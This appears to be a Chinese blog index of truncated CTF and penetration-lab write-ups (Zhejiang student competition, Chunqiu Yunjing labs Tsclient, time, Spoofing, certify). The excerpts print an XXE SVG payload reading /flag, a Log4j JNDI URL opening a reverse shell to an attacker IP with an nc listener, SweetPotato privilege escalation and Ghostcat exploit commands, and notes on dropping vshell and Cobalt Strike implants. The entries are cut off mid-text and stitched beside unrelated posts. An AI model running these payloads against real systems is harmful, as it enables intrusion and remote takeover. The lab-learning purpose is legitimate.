2025第八届浙江省大学生信息安全竞赛初赛WP
WEBupload
EzSerialize链子一眼穿
看start.sh
UploadKingsvg打xxe
12345<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [ <!ENTITY file SYSTEM "file:///flag" > ]><svg height="100" width="1000"><text x="10" y="20">&file;</text></svg>
CRYPTORSA_Common_Attack共模攻击
123456789101112131415161718from gmpy2 import *from Crypto.Util.number import *c1= 902947871638340144585350496607905036788 ...
春秋云镜-Tsclient
IP拿到就是扫
1fscan.exe -h 39.98.117.35
MSSQL-getshellmssql弱口令,直连MDUT,直接上vshell
看目录发现需要提权
🥔提权-getflag1直接甜土豆win!
1C:/Users/Public/Downloads/SweetPotato1.exe -a "whoami"
高权限再次运行马,获得system-shell
1flag{2ef328ee-0ff4-4c7b-bd0d-c822b73827f5}
usersession?那是啥?
隧道+内网信息收集fscan继续扫
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566172.22.8.18WIN-WEB已拿下172.22.8.15DC:XIAORANG\DC01Open 172.22.8.15:53Open 172.22.8. ...
春秋云镜-time
信息收集拿到ip直接访问仍然啥也没有,上fscan扫
1fscan.exe -h 39.98.108.27
还是啥也没有,使用rustscan做全端口扫描,然后用fscan进行端口信息收集
1rustscan.exe -a 39.98.108.27 -r 1-65535
1fscan.exe -h 39.98.108.27 -p 1337,7473,7474,7687,35145
7474-Neo4j-CVE-2021-34371
反弹shell后wget vshell马
1flag{838821b4-1509-4f21-b121-3fd2135a666c}
提示:Kerberos
内网信息收集+隧道123456789101112131415161718192021222324252627282930313233343536373839404142434445172.22.6.12 DC:DC-PROGAME.xiaorang.labOpen 172.22.6.12:53Open 172.22.6.12:135Open 172.2 ...
春秋云镜-Spoofing
信息收集到手ip直接fscan
8080端口存在web;8009不给访问,上dirsearch扫8080
存在tomcat路由 http://39.98.108.27:8080/docs/
cve-2020-1938搜索漏洞
poc直接读取web.xml
存在文件上传接口(http://39.98.108.27:8080/UploadServlet)
CNVD-2020-104871python ajpShooter.py http://39.98.108.27:8080 8009 /upload/c953672209c1c9411df8253d5e1344c2/20250914045300403.txt eval
顺手wget venom/fscan
12扫出了.45的ms17-010扫出了.26的cve-2020-0796
建隧道打172.22.11.45 ms17-010
1flag{1a528a49-5f65-493e-9713-b3354f003cdb}
打172.22.11.26 CVE-202 ...
春秋云镜-certify
环境开起来fscan扫,没出漏洞
直接上Tscan,没啥有用的扫出来
goby扫扫
两个误报
本地漏洞库没有相关记录
事已至此只能看wp发现是打一个log4j组件漏洞,顺从了
solr的log4j组件漏洞12345java -jar JNDIExploit-2.0-SNAPSHOT.jar -i 124.70.133.212http://39.99.148.57:8983/solr/admin/cores?action=${jndi:ldap://124.70.133.212:1389/Basic/ReverseShell/124.70.133.212/1122}nc -lvvp 1122
命令上线vshell
简单传个fscan\venom\CS二开linux🐎
上线CS
socks代理
fscan开扫
fscan信息整理
1234567891011172.22.9.19 本机linux存在xiaorang.lab域172.22.9.7 XIAORANG-DC172.22.9.26 DESKTOP-CBKTVMO172.22.9.47 2 ...
第四届fic服务器部分
517580c34402ec1a2e45617ddfd21d80edb6b0545796e0e8096ed15e258c1b88d20f05c43de8a913634a9344888b9e19a8ddfbeca5e19677ca13d6539a156970c00cc0d71fd8b0e4adbc3401492c91dcb1062e190538f5932afd823aa6fb3b5114f222fd4d5e8333a885eb8e63b5a776973d4f54739ad3ce2656f30b99f19e3dc14ab01ae42eb76d1e6d96aa1ba7943ce7def004aab2736ebc2c4f2766c4e042ba18924de7ca9bdfc9e71a429825e4ffc003b438d68eecbabb561844fdb47d11a46838da802c2100744b80a8448003d614c26b8bf55a2093bfc974b7e6d4d1e64757799641df3560d2b0165e7570b144dbfc4ab2cf9288730 ...
Hello World
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
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